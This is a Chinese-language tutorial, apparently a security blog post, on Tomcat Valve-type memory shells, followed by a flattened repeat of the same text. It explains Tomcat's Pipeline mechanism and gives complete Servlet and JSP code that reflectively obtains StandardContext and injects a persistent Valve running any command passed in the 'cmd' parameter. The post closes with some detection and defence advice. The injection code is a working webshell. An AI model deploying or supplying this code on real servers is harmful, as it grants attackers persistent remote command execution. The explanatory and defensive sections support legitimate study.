Tomcat Valve 型内存马流程理解与手写EXP
字数 1499 2025-08-12 11:34:31

Tomcat Valve 型内存马原理与实现

1. Valve 内存马概述

Valve 内存马与传统的 Listener、Filter、Servlet 内存马有显著区别。传统内存马位于 Web 请求处理流程中(Listener → Filter → Servlet),而 Valve 内存马则是基于 Tomcat 的管道机制(Pipeline)实现的。

2. Tomcat 管道机制基础

2.1 Pipeline 和 Valve 概念

  • Pipeline(管道):Tomcat 中请求处理的管道结构
  • Valve(阀门):管道中的处理单元,可以控制请求的处理流程

类比:请求是管道中流动的水,Valve 就是控制水流(请求处理)的阀门。

2.2 工作机制

  1. Tomcat 接收请求后,通过 Connector 解析
  2. 请求发送到 Container 处理
  3. 请求在 Engine、Host、Context、Wrapper 四类子容器中通过管道机制传递

2.3 关键特性

  • 每个 Pipeline 有一个基础 Valve(basic),始终位于末端最后执行
  • basic Valve 负责封装具体的请求处理和响应输出
  • 可以通过 addValve() 方法在 basic 前添加新 Valve
  • Valve 执行顺序与添加顺序一致

3. Valve 内存马实现原理

3.1 核心思路

  1. 获取 StandardContext
  2. 编写恶意 Valve 类
  3. 通过 StandardContext.getPipeline().addValve() 添加恶意 Valve

3.2 实现步骤

  1. 获取 StandardContext

    • 通过反射从 Request 对象中获取
  2. 编写恶意 Valve

    • 继承 ValveBase
    • 重写 invoke() 方法实现恶意功能
  3. 添加 Valve

    • 通过 StandardContext 获取 Pipeline
    • 使用 addValve() 方法注入

4. 完整实现代码

4.1 Java Servlet 版本

public class ValveShell_Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
        try {
            // 获取内部 Request 对象
            Field FieldReq = req.getClass().getDeclaredField("request");
            FieldReq.setAccessible(true);
            Request request = (Request) FieldReq.get(req);
            
            // 获取 StandardContext
            StandardContext standardContext = (StandardContext) request.getContext();
            
            // 添加恶意 Valve
            standardContext.getPipeline().addValve(new ValveBase() {
                @Override
                public void invoke(Request request, Response response) 
                        throws IOException, ServletException {
                    // 恶意代码执行
                    Runtime.getRuntime().exec(request.getParameter("cmd"));
                }
            });
            
            resp.getWriter().write("inject success");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4.2 JSP 版本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>

<% 
class EvilValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) 
            throws IOException, ServletException {
        // 恶意代码执行
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

// 获取 Request 对象
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);

// 获取 StandardContext
StandardContext standardContext = (StandardContext) req.getContext();

// 添加恶意 Valve
standardContext.getPipeline().addValve(new EvilValve());
out.println("inject success");
%>

5. 关键点说明

  1. Valve 加载位置

    • 必须在 Servlet 中加载,因为 HTTP11Processor 处理 HTTP 请求时会经过 Pipeline
  2. StandardContext 获取

    • 通过反射从 Request 对象中获取
    • 需要先获取 Tomcat 内部的 Request 对象(非 HttpServletRequest)
  3. 恶意 Valve 实现

    • 必须继承 ValveBase
    • 必须重写 invoke() 方法
    • 可以在 invoke() 中实现任意恶意功能
  4. 内存马持久性

    • 添加的 Valve 会一直存在于内存中
    • 每次请求都会执行恶意 Valve

6. 防御建议

  1. 检测措施

    • 监控 StandardPipeline 中的 Valve 列表
    • 检查是否有未知或恶意的 Valve 实现
  2. 防护措施

    • 限制对 StandardContext 的访问
    • 使用安全管理器限制反射操作
    • 定期检查 Tomcat 内存中的组件
  3. 应急响应

    • 发现异常 Valve 后立即清除
    • 重启 Tomcat 服务彻底清除内存马

7. 总结

Valve 内存马利用了 Tomcat 的管道机制,通过向 Pipeline 中添加恶意 Valve 实现持久化驻留。相比传统内存马,它具有更强的隐蔽性,且不依赖于特定的 URL 路径。理解 Valve 内存马的关键在于掌握 Tomcat 的管道机制和 Valve 的工作原理。

Tomcat Valve 型内存马原理与实现 1. Valve 内存马概述 Valve 内存马与传统的 Listener、Filter、Servlet 内存马有显著区别。传统内存马位于 Web 请求处理流程中(Listener → Filter → Servlet),而 Valve 内存马则是基于 Tomcat 的管道机制(Pipeline)实现的。 2. Tomcat 管道机制基础 2.1 Pipeline 和 Valve 概念 Pipeline(管道) :Tomcat 中请求处理的管道结构 Valve(阀门) :管道中的处理单元,可以控制请求的处理流程 类比:请求是管道中流动的水,Valve 就是控制水流(请求处理)的阀门。 2.2 工作机制 Tomcat 接收请求后,通过 Connector 解析 请求发送到 Container 处理 请求在 Engine、Host、Context、Wrapper 四类子容器中通过管道机制传递 2.3 关键特性 每个 Pipeline 有一个基础 Valve(basic),始终位于末端最后执行 basic Valve 负责封装具体的请求处理和响应输出 可以通过 addValve() 方法在 basic 前添加新 Valve Valve 执行顺序与添加顺序一致 3. Valve 内存马实现原理 3.1 核心思路 获取 StandardContext 编写恶意 Valve 类 通过 StandardContext.getPipeline().addValve() 添加恶意 Valve 3.2 实现步骤 获取 StandardContext : 通过反射从 Request 对象中获取 编写恶意 Valve : 继承 ValveBase 类 重写 invoke() 方法实现恶意功能 添加 Valve : 通过 StandardContext 获取 Pipeline 使用 addValve() 方法注入 4. 完整实现代码 4.1 Java Servlet 版本 4.2 JSP 版本 5. 关键点说明 Valve 加载位置 : 必须在 Servlet 中加载,因为 HTTP11Processor 处理 HTTP 请求时会经过 Pipeline StandardContext 获取 : 通过反射从 Request 对象中获取 需要先获取 Tomcat 内部的 Request 对象(非 HttpServletRequest) 恶意 Valve 实现 : 必须继承 ValveBase 类 必须重写 invoke() 方法 可以在 invoke() 中实现任意恶意功能 内存马持久性 : 添加的 Valve 会一直存在于内存中 每次请求都会执行恶意 Valve 6. 防御建议 检测措施 : 监控 StandardPipeline 中的 Valve 列表 检查是否有未知或恶意的 Valve 实现 防护措施 : 限制对 StandardContext 的访问 使用安全管理器限制反射操作 定期检查 Tomcat 内存中的组件 应急响应 : 发现异常 Valve 后立即清除 重启 Tomcat 服务彻底清除内存马 7. 总结 Valve 内存马利用了 Tomcat 的管道机制,通过向 Pipeline 中添加恶意 Valve 实现持久化驻留。相比传统内存马,它具有更强的隐蔽性,且不依赖于特定的 URL 路径。理解 Valve 内存马的关键在于掌握 Tomcat 的管道机制和 Valve 的工作原理。